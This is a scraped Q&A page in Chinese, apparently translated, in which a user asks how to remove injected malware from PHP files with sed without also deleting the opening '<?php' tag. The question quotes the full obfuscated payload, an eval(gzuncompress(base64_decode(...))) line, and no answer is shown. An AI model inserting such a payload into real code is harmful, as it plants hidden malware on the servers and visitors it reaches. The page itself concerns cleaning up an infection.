linux - 删除恶意软件代码并替换为新代码 linux
问题描述
我曾尝试使用 SSH 删除所有 php 文件中的恶意软件代码,但是当我删除它时,它也会从<?php
一开始就删除代码。
我怎样才能删除下面的文本并将<?php
代码保留在文件中?
我使用了这个命令:
sed -i '/gzuncompress(base64_decode/d' *
代替:
<?php eval(gzuncompress(base64_decode('eNpdUs1u00AQfpWNlYMdrDhO89dEOZTKolEpQYkBoRpZU+86u8TZtdZr1X6A3jhy4Q248gxUvAavwjhpgWQPO/+ab74ZkdottstN7XVeZkpRKeRnmJIFyUSyJbUqNWGgM3XHXAKSklJSdXDfg0l4t+PZ7XgdrN4Hq1vrKgzfxu/Qii9eBW9C65PjTNvxt+8/f/14fJyD1lDb1iXXKvKHQ2a5VlQNRqj7mqUqqsYTdIVaUCYNajfrRYDiQ5OAXe+LQ0EiZFmhusgx0FMyqkZDNC8k1UpQ1JY504ByDSloYTmzVGkGCbf/QiFQtOMvvx++PjhTkdpFuBK5Kk4Hiarh8L9Z3OeS1nzuddaggfvnaYJk7fC5RG2hRjpSyAp2SqaBLUPWSA7SFESlqUs2upRGyA0SjTEgRqssw/o9opYoCmYQ0OVyeb0IbnHu0cTkcSloXBo06J7bIgiTJoHZFt9HMTKIy8gfDXZIgG+5obgJbOdFb9zr945Bf2TA92vG7sIQrcpNs81O76x3ir7YweEWiOHNVdwpZep9bt+ZXTGggbat1yoBI5ScEm5MPvU8/2zQjaqz/uC86/uj7njiCUmbZVXdnOe4FirYMaQlJzWicrENGJIylhVkg0CaI3NmTFKR/vuflvrkmB1jXjeI3WdRM8YAOG/m+wMpCvZB')));?>
和
<?php
解决方案
推荐阅读
- jsf - 如果客户端 ID 不匹配,为什么要向 p:messages 添加 JSF 消息?
- django - Django:带有下拉菜单选项的 inlineformset 字段
- javascript - 选项卡单击后立即浮动的 HTML 按钮
- php - 从浏览器中检索 cookie 将与 php curl 一起使用?
- javascript - 使用淡入淡出在悬停和返回时更改图像
- javascript - 如何在 HTLM5 中为我的幻灯片添加计时器?
- java - 亚马逊 API 网关 403 禁止
- checksum - CRC-8 与 Fletcher-16 的错误检测性能
- php - Codeigniter - 制作自己的常量而不是使用 config/constant.php
- google-geocoder - 地理编码 API 结果中缺少国家/地区组件